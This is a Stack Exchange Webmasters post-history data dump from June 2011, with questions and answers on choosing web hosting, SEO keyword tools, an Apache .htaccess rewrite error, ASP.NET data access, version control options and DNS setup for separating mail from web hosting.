  <row Id="34794" PostHistoryTypeId="2" PostId="14806" RevisionGUID="52985e19-a9b7-46a1-8fb7-e48a9d78d82b" CreationDate="2011-06-03T22:40:29.910" UserId="30" Text="**What kind of web hosting would be best for a project like this?**&#xD;&#xA;&#xD;&#xA;You require nothing out of the ordinary. With your budget being a concern, any reliable shared hosting provider would be fine. There are many from which to choose (as you have noted) and there is no absolute answer.&#xD;&#xA;&#xD;&#xA;Finding the right host for you is like finding any service provider that is right: read reviews, examine testimonials, seek recommendations from those whose opinions you trust, ask potential hosts.&#xD;&#xA;&#xD;&#xA;Given your budget concerns, consider [Hosting Reborn pay-as-you-go hosting][1]. Through only paying for the storage and bandwith you use, your costs and start low and will grow only in proportion to your popularity.&#xD;&#xA;&#xD;&#xA;Disclaimer: I own and operate Hosting Reborn, I believe it is a good fit but I will be unavoidably biased to some degree.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**My company is based in the UK, how important is it for me to use UK based hosting?**&#xD;&#xA;&#xD;&#xA;For you:&lt;br&gt;&#xD;&#xA;You may wish to be able to contact your host during the same office hours as those that you keep; you may run into issues tax considerations when you reach a certain scale (pure speculation).&#xD;&#xA;&#xD;&#xA;For your users:&lt;br&gt;&#xD;&#xA;You should look at hosting your services as close as is feasible to your users. If your users will be predominantly UK-based, you will serve them best with UK-based hosting. If your users will be predominantly US-based, you will serve them best with US-based hosting.&#xD;&#xA;&#xD;&#xA;Proximity to your users is a purely technical concern - the shorter the distance over which data must travel, the less time it will take. This is significant if serving Australian users from a US-based service. This is less significant if serving UK-based users from a German-based service. Proximity to your users will technically make a difference. Whether your users will notice is another matter.&#xD;&#xA;&#xD;&#xA;**When it comes to bandwidth, how many downloads will bandwidth: 100GB get me?**&#xD;&#xA;&#xD;&#xA;100GB is 102400MB. Considering your 3MB source code download, this will accommodate approximately 34,000 downloads.&#xD;&#xA;&#xD;&#xA;  [1]: http://hostingreborn.com" />
  <row Id="34795" PostHistoryTypeId="2" PostId="14807" RevisionGUID="1119c2bb-a950-490e-8e99-592e3c26cbbb" CreationDate="2011-06-03T22:59:24.950" UserId="2288" Text="While not a tool, one thing I would say is that the value of a keyword is directly related to your ability capitalize on in. &#xD;&#xA;&#xD;&#xA;[JP19][1]'s reference to [Google Keyword Tool External][2] is a super start, beyond that there hundreds if not thousands of such tools; such as: [KeywordSpy][3], [Wordtracker][4], etc. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/8159/seo-keyword-value/8163#8163&#xD;&#xA;  [2]: https://adwords.google.com/select/KeywordToolExternal&#xD;&#xA;  [3]: http://www.keywordspy.com/&#xD;&#xA;  [4]: https://freekeywords.wordtracker.com/" />
  <row Id="34796" PostHistoryTypeId="2" PostId="14808" RevisionGUID="66d88d2a-7e7d-4d02-b417-9e0de95e25c7" CreationDate="2011-06-03T23:15:13.833" UserId="8023" Text="I hope this is an appropriate place to ask, if not, I apologise.&#xD;&#xA;&#xD;&#xA;A while ago I stumbled across a website that allowed you to enter an email address and have things like your browser type, version, build, javascript settings, flash version etc emailed through. I have a couple of clients that I need this information for and cannot really ask them to find out this information manually.&#xD;&#xA;&#xD;&#xA;I understand 'which website was this'd questions are probably frowned upon but I need to find this site. If not, what methods do you employ for gathering this kind of information from clients?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;Ollie" />
  <row Id="34797" PostHistoryTypeId="1" PostId="14808" RevisionGUID="66d88d2a-7e7d-4d02-b417-9e0de95e25c7" CreationDate="2011-06-03T23:15:13.833" UserId="8023" Text="Website to send clients browser settings via email" />
  <row Id="34798" PostHistoryTypeId="3" PostId="14808" RevisionGUID="66d88d2a-7e7d-4d02-b417-9e0de95e25c7" CreationDate="2011-06-03T23:15:13.833" UserId="8023" Text="&lt;browsers&gt;&lt;clients&gt;&lt;browser-detecting&gt;" />
  <row Id="34799" PostHistoryTypeId="2" PostId="14809" RevisionGUID="254417eb-fc67-4891-99ef-4775d89b67e1" CreationDate="2011-06-03T23:52:01.973" UserId="4502" Text="Is it &lt;a href=&quot;http://supportdetails.com/&quot;&gt;Support Details&lt;/a&gt;?" />
  <row Id="34800" PostHistoryTypeId="25" PostId="14808" RevisionGUID="12c3f5a4-fc7e-4785-9f91-5fc05a466a70" CreationDate="2011-06-04T00:13:39.467" Comment="http://twitter.com/#!/StackWebmasters/status/76803765369450498" />
  <row Id="34801" PostHistoryTypeId="5" PostId="14808" RevisionGUID="4fd55ca3-48ca-4303-a137-4ad9fe063eb6" CreationDate="2011-06-04T02:28:17.913" UserId="4502" Comment="Removed extraneous bits; if the question's inappropriate or whatever, it'll just get moved/closed/etc." Text="A while ago I stumbled across a website that allowed you to enter an email address and have things like your browser type, version, build, javascript settings, flash version etc emailed through. I have a couple of clients that I need this information for and cannot really ask them to find out this information manually." />
  <row Id="34802" PostHistoryTypeId="24" PostId="14808" RevisionGUID="4fd55ca3-48ca-4303-a137-4ad9fe063eb6" CreationDate="2011-06-04T02:28:17.913" Comment="Proposed by 4502 approved by 1253 edit id of 375" />
  <row Id="34803" PostHistoryTypeId="17" PostId="14810" RevisionGUID="a75c3e3b-eeb3-460a-b691-bbac4312f3fd" CreationDate="2011-06-04T02:50:58.803" UserId="-1" Comment="from http://serverfault.com/questions/276921/apache-rewrite-returns-error-500" Text="" />
  <row Id="34804" PostHistoryTypeId="2" PostId="14810" RevisionGUID="87d6e299-b5e7-4dd9-82ea-a0d7237c3c33" CreationDate="2011-06-04T02:23:51.607" UserDisplayName="The Devil" Text="I'm trying to figure out what I'm doing wrong with this .htaccess rewrite:&#xD;&#xA;&#xD;&#xA;    Options -Indexes&#xD;&#xA;&#xD;&#xA;    RewriteEngine  on&#xD;&#xA;    RewriteBase    /test/site/&#xD;&#xA;    RewriteOptions MaxRedirects=10&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule ^(.*)$ /test/site/public/page.php?rel=$1 [NC,L,B]&#xD;&#xA;&#xD;&#xA;I have an Front end script that handles all of the requests. &#xD;&#xA;In my case I don't need or have index.php/index.html file in my root project (/test/site/). That causes apache to throw 403 error because of the first line of the code. &#xD;&#xA;The code will work only if you access the links as follows:&#xD;&#xA;&#xD;&#xA;    http://localhost/test/site/public/index&#xD;&#xA;    http://localhost/test/site/public/something/else/index.html&#xD;&#xA;&#xD;&#xA;But if you enter &#xD;&#xA;    &#xD;&#xA;    http://localhost/test/site/public/&#xD;&#xA;&#xD;&#xA;It'll throw 403 error.&#xD;&#xA;&#xD;&#xA;I'm pretty sure I'm doing something wrong but I can't figure it out." />
  <row Id="34805" PostHistoryTypeId="1" PostId="14810" RevisionGUID="87d6e299-b5e7-4dd9-82ea-a0d7237c3c33" CreationDate="2011-06-04T02:23:51.607" UserDisplayName="The Devil" Text="Apache rewrite returns error 500" />
  <row Id="34806" PostHistoryTypeId="3" PostId="14810" RevisionGUID="87d6e299-b5e7-4dd9-82ea-a0d7237c3c33" CreationDate="2011-06-04T02:23:51.607" UserDisplayName="The Devil" Text="&lt;apache&gt;&lt;rewrite&gt;" />
  <row Id="34807" PostHistoryTypeId="25" PostId="14810" RevisionGUID="beaba5eb-f6d5-4d03-b1e1-6c1c84c85f68" CreationDate="2011-06-04T03:13:40.923" Comment="http://twitter.com/#!/StackWebmasters/status/76849069313622017" />
  <row Id="34808" PostHistoryTypeId="2" PostId="14811" RevisionGUID="af6a8a8b-c7df-4e5a-b8a9-7355d0823c86" CreationDate="2011-06-04T03:53:58.757" UserId="5806" Text="Well, your RewriteRule does not apply because that path you are trying is a directory. As set up, your .htaccess redirects things that are neither.&#xD;&#xA;&#xD;&#xA;You will need an additional rule or a custom 403 page to handle directories. You may also change your condition to files only. In other words, remove the second RewriteCond line. Which you do depends on what you want to happen for a directory path." />
  <row Id="34809" PostHistoryTypeId="2" PostId="14812" RevisionGUID="bbd19d5a-b570-405e-9648-79166692516a" CreationDate="2011-06-04T04:07:23.383" UserId="8025" Text="I have no idea in creating javascript.   Can javascript fetch data from the database?&#xD;&#xA;" />
  <row Id="34810" PostHistoryTypeId="1" PostId="14812" RevisionGUID="bbd19d5a-b570-405e-9648-79166692516a" CreationDate="2011-06-04T04:07:23.383" UserId="8025" Text="how can I get my data in SQL using JavaScript in ASP.Net" />
  <row Id="34811" PostHistoryTypeId="3" PostId="14812" RevisionGUID="bbd19d5a-b570-405e-9648-79166692516a" CreationDate="2011-06-04T04:07:23.383" UserId="8025" Text="&lt;javascript&gt;&lt;asp.net&gt;" />
  <row Id="34812" PostHistoryTypeId="25" PostId="14812" RevisionGUID="2becd2e1-b75d-4fa8-ba36-9c537306ab8b" CreationDate="2011-06-04T06:13:41.850" Comment="http://twitter.com/#!/StackWebmasters/status/76894370829316096" />
  <row Id="34813" PostHistoryTypeId="25" PostId="14788" RevisionGUID="02399170-c47e-4b68-a012-e21b4d80792b" CreationDate="2011-06-04T09:13:42.040" Comment="http://twitter.com/#!/StackWebmasters/status/76939671485165568" />
  <row Id="34814" PostHistoryTypeId="2" PostId="14813" RevisionGUID="ca0a946b-33b7-4595-a703-8f521694e915" CreationDate="2011-06-04T09:27:08.057" UserId="7198" Text="Traditionally you would retrieve and display data with ASP.net, not with JavaScript. Microsoft offers [detailed documentation](http://www.asp.net/data-access/tutorials) on data access with ASP.net.&#xD;&#xA;&#xD;&#xA;Client-side JavaScript can't retrieve data from an SQL database directly, but you could create a page with ASP.net that fetches data and returns the results as [JSON,](http://blogs.msdn.com/b/rakkimk/archive/2009/01/30/asp-net-json-serialization-and-deserialization.aspx) then request that page with JavaScript by using jQuery's [ajax()](http://api.jquery.com/jQuery.ajax/) method." />
  <row Id="34815" PostHistoryTypeId="2" PostId="14814" RevisionGUID="db17488c-4d2f-43e8-a3c2-cb821fe0e5a8" CreationDate="2011-06-04T10:09:28.663" UserId="8029" Text="First of all I will request you to check reviews of the company you select, Presently I am using UK web Hosting  http://wwww.webhost.uk.net , I have used there service for 3 years and they are fantastic in terms of support and service.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34816" PostHistoryTypeId="2" PostId="14815" RevisionGUID="db560f5e-4d0c-4cd0-b43e-52763d894547" CreationDate="2011-06-04T10:41:50.190" UserId="7198" Text="Don't spend £250/year. Spend as little as possible, then scale as you grow. Two options to consider:&#xD;&#xA;&#xD;&#xA;###1. Use a source code hosting service such as github&#xD;&#xA;[Github](https://github.com/) is a popular hosting service for the [git](http://git-scm.com/) version control system. In addition to [code hosting](https://github.com/features/hosting) and online code browsing, the long list of [features](https://github.com/features/projects) it offers includes team management, wikis, forums, and bug tracking.&#xD;&#xA;&#xD;&#xA;Github is free for open-source projects, and you can even [host project pages](http://pages.github.com/) and entire websites with it. Since good open-source projects use version control anyway, I think it's worth taking the time to [learn git](http://book.git-scm.com/) just to take advantage of github.&#xD;&#xA;&#xD;&#xA;You may also wish to consider other code hosting services, such as [Bitbucket,](https://bitbucket.org/) which uses the [Mercurial](http://mercurial.selenic.com/) version control system.&#xD;&#xA;&#xD;&#xA;The great thing about services like these is that they encourage a community of active users to spring up around your project, because you've chosen to use a dedicated code hosting service that many are already familiar with and using in other projects they contribute to. Contributors can push fixes and new code to you, and you can review it and accept it into the official project. If I was starting an open-source project, github is what I'd use to promote and manage it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;###2. Launch on cheap shared hosting&#xD;&#xA;If you don't want to use a source code hosting service for some reason, I'd suggest shared hosting.&#xD;&#xA;&#xD;&#xA;Your demands aren't particularly complicated and, although you don't state how big the project is in terms of userbase and expected traffic, it sounds like you don't need a VPS unless you plan to host your own source repositories. I'd suggest a cheap shared hosting package such as the 'Baby Plan' from [Hostgator,](http://www.hostgator.com/shared.shtml) which would cost $95.52 (approx £59) a year if you sign up for 12 months (and less if you sign up for a two or three -year term).&#xD;&#xA;&#xD;&#xA;This allows you to host multiple domains and gives you an 'unlimited' amount of disk space and bandwidth. (If you read the fine print it turns out that 'unlimited' actually means limited, but only if you abuse their terms of service by, for example, hosting illegal downloads or large files that become very popular.)&#xD;&#xA;&#xD;&#xA;Finding U.K. hosting companies who compete with U.S. shared hosting services on features and price is very difficult, unfortunately, and they are often around four times more expensive. For this reason I tend to host my projects with U.S. companies now, even though I'd like to support British ones. I can recommend both [34sp.com](http://34sp.com) and [OpenmindHosting,](http://www.openmindhosting.co.uk/) but their basic packages only support one domain and their bandwidth/storage features aren't as generous, so you may find yourself paying for add-on domains and bandwidth faster than you would with a U.S. service.&#xD;&#xA;&#xD;&#xA;Some people will tell you that you should host in the U.K. if most of your users are in the U.K., but in practise many connections are so fast now that hosting in the U.S. makes little to no difference to the perceived connection speed here in the U.K." />
  <row Id="34817" PostHistoryTypeId="5" PostId="14815" RevisionGUID="ef491afb-9977-4e95-b459-dc42e7e10b70" CreationDate="2011-06-04T10:53:50.933" UserId="7198" Comment="deleted 7 characters in body; added 47 characters in body; deleted 2 characters in body" Text="Don't spend £250/year. Spend as little as possible, then scale as you grow. Two options to consider:&#xD;&#xA;&#xD;&#xA;###1. Use a source code hosting service such as github&#xD;&#xA;[Github](https://github.com/) is a popular hosting service for the [git](http://git-scm.com/) version control system. In addition to [code hosting](https://github.com/features/hosting) and online code browsing, the long list of [features](https://github.com/features/projects) it offers includes team management, wikis, forums, and bug tracking.&#xD;&#xA;&#xD;&#xA;Github is free for open-source projects, and you can even [host project pages](http://pages.github.com/) and entire websites with it. Since good open-source projects use version control anyway, I think it's worth taking the time to [learn git](http://book.git-scm.com/) just to take advantage of github.&#xD;&#xA;&#xD;&#xA;You may also wish to consider other code hosting services, such as [Bitbucket,](https://bitbucket.org/) which uses the [Mercurial](http://mercurial.selenic.com/) version control system.&#xD;&#xA;&#xD;&#xA;The great thing about services like these is that they encourage a community of active users to spring up around your project, because you've chosen to use a dedicated code hosting service that many are already familiar with and using in other projects they contribute to. Contributors can push fixes and new code to you, and you can review it and accept it into the official project. If I was starting an open-source project, github is what I'd use to promote and manage it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;###2. Launch on cheap shared hosting&#xD;&#xA;If you don't want to use a source code hosting service for some reason, I'd suggest shared hosting.&#xD;&#xA;&#xD;&#xA;Your demands aren't particularly complicated and, although you don't state how big the project is in terms of userbase and expected traffic, it sounds like you don't need a VPS unless you plan to host your own source repositories. I'd suggest a cheap shared hosting package such as the 'Baby Plan' from [Hostgator,](http://www.hostgator.com/shared.shtml) which would cost $95.52 (approx £59) a year if you sign up for 12 months (and less if you sign up for a two or three -year term).&#xD;&#xA;&#xD;&#xA;This allows you to host multiple domains and gives you an 'unlimited' amount of disk space and bandwidth. (If you read the fine print it turns out that 'unlimited' actually means limited, but only if you abuse their terms of service by, for example, hosting illegal downloads or large files that become very popular.)&#xD;&#xA;&#xD;&#xA;Finding U.K. hosting companies who compete with U.S. shared hosting services on features and price is very difficult, unfortunately, and they are often many times more expensive. For this reason I tend to host my projects with U.S. companies now, even though I'd like to support British ones. I can recommend both [34sp.com](http://34sp.com) and [OpenmindHosting,](http://www.openmindhosting.co.uk/) but their basic packages support a limited number of domains (one for 34sp, two for Openmind) and their bandwidth/storage features aren't as generous, so you may find yourself paying for add-on domains and bandwidth faster than you would with a U.S. service.&#xD;&#xA;&#xD;&#xA;Some people will tell you that you should host in the U.K. if most of your users are in the U.K., but in practise many connections are so fast now that hosting in the U.S. makes little to no difference to the perceived connection speed here in the U.K." />
  <row Id="34818" PostHistoryTypeId="25" PostId="14750" RevisionGUID="f7cc9e6c-fb12-4567-9b9a-2f5426a1b28a" CreationDate="2011-06-04T12:13:42.450" Comment="http://twitter.com/#!/StackWebmasters/status/76984971117608960" />
  <row Id="34819" PostHistoryTypeId="2" PostId="14816" RevisionGUID="d8af03b2-e1e5-4e2c-abc6-4392a44e2503" CreationDate="2011-06-04T12:43:33.293" UserId="8032" Text="Check out http://www.rshosting.com or http://www.rshosting.co.uk&#xD;&#xA;&#xD;&#xA;I have been their customer for almost a couple of years now and have been very satisfied with the level of web hosting services and support I have received from them. Decent website uptime, and fast connectivity to their servers and support is a key point that makes customers like us even more happy and satisfied.&#xD;&#xA;" />
  <row Id="34820" PostHistoryTypeId="2" PostId="14817" RevisionGUID="f643f0ba-ee64-46b1-ac2e-d9beecb28676" CreationDate="2011-06-04T13:31:20.967" UserId="7198" Text="**Mydeco appear to use Python and the [Django](https://www.djangoproject.com/) framework.**&#xD;&#xA;&#xD;&#xA;To find out what technologies big commercial websites use, it's worth trying their [jobs page](http://mydeco.com/jobs/) to see what they ask for when hiring new recruits to their Web team.&#xD;&#xA;&#xD;&#xA;In this case, they had a position for a Senior Front End Web Developer in [December 2008](http://web.archive.org/web/20081210042157/http://mydeco.com/jobs/) that makes reference to Django. Their current position for a Data Analyst also mentions Python. This would fall in line with their server architecture, which appears to be Apache under Linux on an Amazon instance [[source](http://uptime.netcraft.com/up/graph?site=mydeco.com)]. This is not necessarily conclusive, though, and you should simply email them as John suggests if you'd like to confirm it." />
  <row Id="34821" PostHistoryTypeId="5" PostId="14817" RevisionGUID="027b47af-22b6-43cd-aa40-309c33b73b26" CreationDate="2011-06-04T13:40:11.917" UserId="7198" Comment="added 94 characters in body" Text="**Mydeco appear to use Python and the [Django](https://www.djangoproject.com/) framework.**&#xD;&#xA;&#xD;&#xA;To find out what technologies big commercial websites use, it's worth trying their [jobs page](http://mydeco.com/jobs/) to see what they ask for when hiring new recruits to their Web team.&#xD;&#xA;&#xD;&#xA;In this case, they had a position for a Senior Front End Web Developer in [December 2008](http://web.archive.org/web/20081210042157/http://mydeco.com/jobs/) that makes reference to Django. Their current position for a Data Analyst also mentions Python. This would fall in line with their server architecture, which appears to be Apache under Linux on an Amazon instance [[source](http://uptime.netcraft.com/up/graph?site=mydeco.com)]. This is not necessarily conclusive, though, and you should simply email them as John suggests if you'd like to confirm it.&#xD;&#xA;&#xD;&#xA;Update: mydeco.com is [featured on djangosites.](http://www.djangosites.org/s/mydeco-com/)" />
  <row Id="34822" PostHistoryTypeId="10" PostId="14812" RevisionGUID="25022e05-838c-460d-a00f-06c06e32146a" CreationDate="2011-06-04T13:45:10.487" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="34823" PostHistoryTypeId="2" PostId="14818" RevisionGUID="c73fd9c4-9b4b-4b49-bb48-920c2eda5549" CreationDate="2011-06-04T14:39:11.917" UserId="2699" Text="I've somewhat recently forked a popular programming project and am trying to improve search engine visibility. The major issue I'm having though is that the name is so similar to the origional project name: I just took it and slapped an X on the end of it.&#xD;&#xA;&#xD;&#xA;The issue is that whenever I google for the project, Google always says &quot;Showing results for project. Search instead for projectX&quot;. I do think this is hurting me as Google sees my project as a misspelling or something completely unrelated. People have to really search for my project to find it.&#xD;&#xA;&#xD;&#xA;Is there any way I can tell google or other search engines that my project fork is not a misspelling of the original project?" />
  <row Id="34824" PostHistoryTypeId="1" PostId="14818" RevisionGUID="c73fd9c4-9b4b-4b49-bb48-920c2eda5549" CreationDate="2011-06-04T14:39:11.917" UserId="2699" Text="Improve SEO for a project that differs from another only by 1 character" />
  <row Id="34825" PostHistoryTypeId="3" PostId="14818" RevisionGUID="c73fd9c4-9b4b-4b49-bb48-920c2eda5549" CreationDate="2011-06-04T14:39:11.917" UserId="2699" Text="&lt;seo&gt;" />
  <row Id="34826" PostHistoryTypeId="17" PostId="14819" RevisionGUID="a404c988-eef7-4fdd-b0b8-0cc7b45123f0" CreationDate="2011-06-04T14:55:54.710" UserId="-1" Comment="from http://stackoverflow.com/questions/6137380/css-images-loading-extremely-slow" Text="" />
  <row Id="34827" PostHistoryTypeId="17" PostId="14820" RevisionGUID="d5e3933b-348d-4835-bab5-a6e4c6c6eb23" CreationDate="2011-06-04T14:55:54.710" UserId="-1" Comment="from http://stackoverflow.com/questions/6137380/css-images-loading-extremely-slow" Text="" />
  <row Id="34828" PostHistoryTypeId="2" PostId="14820" RevisionGUID="6e487e17-c94e-43ba-9387-d953f3ab0aa8" CreationDate="2011-05-26T10:59:12.637" UserId="9357" UserDisplayName="oezi" Text="If you're using Firefox, you could install a page-speed analyzing-addon like [yslow][1] or [google page speed][2] - this tells you how to optimize your website (sometimes not all of the optimizations are possible, but some are easy to do). this are some of the hints yslow gives for your site:&#xD;&#xA;&#xD;&#xA; - This page has 27 external Javascript scripts. Try combining them into one.&#xD;&#xA; - This page has 10 external stylesheets. Try combining them into one.&#xD;&#xA; - This page has 41 external background images. Try combining them with CSS sprites.&#xD;&#xA; - There are 76 static components without a far-future expiration date. (note by me: this might cause some browsers to not cache this css and js files and reload them on every page-load)&#xD;&#xA;&#xD;&#xA;Also, your site is about 1143 KB in size to download if nothing is in the user's cache - that's _really_ big, so you could try to minimize or compress the html, css and javascript (if you haven't done this already - but if your site is still about 1 MB after compression and minification it looks like there's something wrong...)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/de/firefox/addon/yslow/&#xD;&#xA;  [2]: http://code.google.com/intl/de-DE/speed/page-speed/" />
  <row Id="34829" PostHistoryTypeId="2" PostId="14819" RevisionGUID="98498c68-89d4-443c-92b6-88d8a9ac2c5d" CreationDate="2011-05-26T10:52:37.940" UserDisplayName="Gal" Text="I'm having difficulties with the following website :&#xD;&#xA;&#xD;&#xA;http://ladaily.com/los-angeles&#xD;&#xA;&#xD;&#xA;Seems like the rendering time of small images (less than 1KB) is extremely slow (over 2+ seconds).&#xD;&#xA;Any idea on what can I do?&#xD;&#xA;&#xD;&#xA;I know a big CSS file is a problem, but I can't do anything now to seperate it – &#xD;&#xA;any other idea why it occurs?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I think I got if figured , but from some reason images still loading very slow ,&#xD;&#xA;Do you think it has anything with the server's configuration ?" />
  <row Id="34830" PostHistoryTypeId="1" PostId="14819" RevisionGUID="98498c68-89d4-443c-92b6-88d8a9ac2c5d" CreationDate="2011-05-26T10:52:37.940" UserDisplayName="Gal" Text="CSS images loading extremely slow" />
  <row Id="34831" PostHistoryTypeId="3" PostId="14819" RevisionGUID="98498c68-89d4-443c-92b6-88d8a9ac2c5d" CreationDate="2011-05-26T10:52:37.940" UserDisplayName="Gal" Text="&lt;css&gt;&lt;optimization&gt;" />
  <row Id="34832" PostHistoryTypeId="25" PostId="14818" RevisionGUID="fb4d9b7f-5921-4766-9fff-97bfec894de1" CreationDate="2011-06-04T15:13:42.347" Comment="http://twitter.com/#!/StackWebmasters/status/77030268506095616" />
  <row Id="34833" PostHistoryTypeId="2" PostId="14821" RevisionGUID="5b534705-6eb9-4952-abe9-002e9cc6c71c" CreationDate="2011-06-04T15:42:55.397" UserId="5810" Text="I have done some basic web programming in the past and wish to develop my skills further and begin doing large scale projects as a contractor.  I have no experience with version control to this point but know enough about it to know I want to use it.  What version control systems are available for a web platform and which are the most popular (I'm assuming they'd be most popular for ease of use and functionality...)?  Thanks!" />
  <row Id="34834" PostHistoryTypeId="1" PostId="14821" RevisionGUID="5b534705-6eb9-4952-abe9-002e9cc6c71c" CreationDate="2011-06-04T15:42:55.397" UserId="5810" Text="What version control options are available for PHP web development?" />
  <row Id="34835" PostHistoryTypeId="3" PostId="14821" RevisionGUID="5b534705-6eb9-4952-abe9-002e9cc6c71c" CreationDate="2011-06-04T15:42:55.397" UserId="5810" Text="&lt;php&gt;&lt;web-development&gt;" />
  <row Id="34836" PostHistoryTypeId="2" PostId="14822" RevisionGUID="9f6fb895-90e3-4730-95e1-248bf501ad59" CreationDate="2011-06-04T16:24:41.010" UserId="2699" Text="Really any VCS will do. Your major options (sorted by what I would prefer)&#xD;&#xA;&#xD;&#xA; 1. Mercurial - I actually use this to keep my entire website in version control on the host. Its quite easy to setup on any webserver that has python. You can also copy and paste your own build.&#xD;&#xA; 2. Git - I tried and failed to get this working on Godaddy. However if your just going to be doing it locally its still a respectable option. In the Mercurial VS Git debate, it just depends on what you prefer&#xD;&#xA; 3. Subversion - Completely different from the above. I've never tried to keep a website in svn, but it is an option. Really though I would recommend this." />
  <row Id="34837" PostHistoryTypeId="5" PostId="14818" RevisionGUID="6c250d4f-86ee-4b3d-925f-e1cf7cf8e1ea" CreationDate="2011-06-04T17:16:27.150" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Website not coming in Search engine results because of a term](http://webmasters.stackexchange.com/questions/8427/website-not-coming-in-search-engine-results-because-of-a-term)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I've somewhat recently forked a popular programming project and am trying to improve search engine visibility. The major issue I'm having though is that the name is so similar to the origional project name: I just took it and slapped an X on the end of it.&#xD;&#xA;&#xD;&#xA;The issue is that whenever I google for the project, Google always says &quot;Showing results for project. Search instead for projectX&quot;. I do think this is hurting me as Google sees my project as a misspelling or something completely unrelated. People have to really search for my project to find it.&#xD;&#xA;&#xD;&#xA;Is there any way I can tell google or other search engines that my project fork is not a misspelling of the original project?" />
  <row Id="34838" PostHistoryTypeId="10" PostId="14818" RevisionGUID="5c703b23-e503-46d7-b61c-f124e46d897e" CreationDate="2011-06-04T17:16:26.523" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="34839" PostHistoryTypeId="25" PostId="14821" RevisionGUID="521617c2-d094-4642-a78d-c9bfc0e21f50" CreationDate="2011-06-04T18:13:42.340" Comment="http://twitter.com/#!/StackWebmasters/status/77075568264355841" />
  <row Id="34840" PostHistoryTypeId="2" PostId="14823" RevisionGUID="4b4efda9-23af-4b58-82ac-520234d57941" CreationDate="2011-06-04T18:31:09.490" UserId="4858" Text="Since you are new to version control, I recommend that you take a look at some of the web-based systems that facilitate this for you.  I have had good experiences with both [Assembla][1] and [Beanstalk][2], and I'm sure there are other good options you can find with some googling as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.assembla.com/features&#xD;&#xA;  [2]: http://beanstalkapp.com/" />
  <row Id="34841" PostHistoryTypeId="2" PostId="14824" RevisionGUID="eefecd80-010f-4447-abd6-54355a244921" CreationDate="2011-06-04T19:24:02.343" UserId="4502" Text="Client's domain is registered with GoDaddy where they have a mail-only plan at the moment. Now web hosting has been set up elsewhere and we need to point web service to the new host while retaining mail at GoDaddy. (For reasons not important here, this is not negotiable.)  &#xD;&#xA;What needs to be edited to carry this out correctly?" />
  <row Id="34842" PostHistoryTypeId="1" PostId="14824" RevisionGUID="eefecd80-010f-4447-abd6-54355a244921" CreationDate="2011-06-04T19:24:02.343" UserId="4502" Text="How do I leave mail at the registrar while serving the web from host?" />
  <row Id="34843" PostHistoryTypeId="3" PostId="14824" RevisionGUID="eefecd80-010f-4447-abd6-54355a244921" CreationDate="2011-06-04T19:24:02.343" UserId="4502" Text="&lt;web-hosting&gt;&lt;dns&gt;&lt;mx&gt;" />
  <row Id="34844" PostHistoryTypeId="17" PostId="14825" RevisionGUID="2cccdcb7-ffa3-4306-ac6e-ed1ddfa4ed5c" CreationDate="2011-06-04T20:48:40.820" UserId="-1" Comment="from http://serverfault.com/questions/276939/whm-create-server-wide-usable-php-scripts" Text="" />
  <row Id="34845" PostHistoryTypeId="2" PostId="14825" RevisionGUID="809b8070-a0fa-4b40-94e5-e03f8fedfd24" CreationDate="2011-06-04T07:10:40.667" UserDisplayName="user81536" Text="I am currently going to purchase a reseller account that allows WHM and Admin access.&#xD;&#xA;&#xD;&#xA;Would it be possible for me to make a public folder (read only) on the server that contains PHP files that can access the other sites located on the server and vice-versa?&#xD;&#xA;&#xD;&#xA;Also what about sites not located on the server, what type of authentication would I need?" />
  <row Id="34846" PostHistoryTypeId="1" PostId="14825" RevisionGUID="809b8070-a0fa-4b40-94e5-e03f8fedfd24" CreationDate="2011-06-04T07:10:40.667" UserDisplayName="user81536" Text="WHM - Create server-wide usable PHP scripts" />
  <row Id="34847" PostHistoryTypeId="3" PostId="14825" RevisionGUID="809b8070-a0fa-4b40-94e5-e03f8fedfd24" CreationDate="2011-06-04T07:10:40.667" UserDisplayName="user81536" Text="&lt;php&gt;" />
  <row Id="34848" PostHistoryTypeId="25" PostId="14824" RevisionGUID="14877c7a-a339-453b-b5e9-4a2f470d1ebe" CreationDate="2011-06-04T21:13:42.827" Comment="http://twitter.com/#!/StackWebmasters/status/77120868119085056" />
  <row Id="34849" PostHistoryTypeId="2" PostId="14826" RevisionGUID="653bdc87-5276-4bd7-8dd9-5cf2a34bd838" CreationDate="2011-06-04T21:44:38.237" UserId="4599" Text="try http://builtwith.com/ but it is hard to recognize technologies used and even impossible on some sites" />
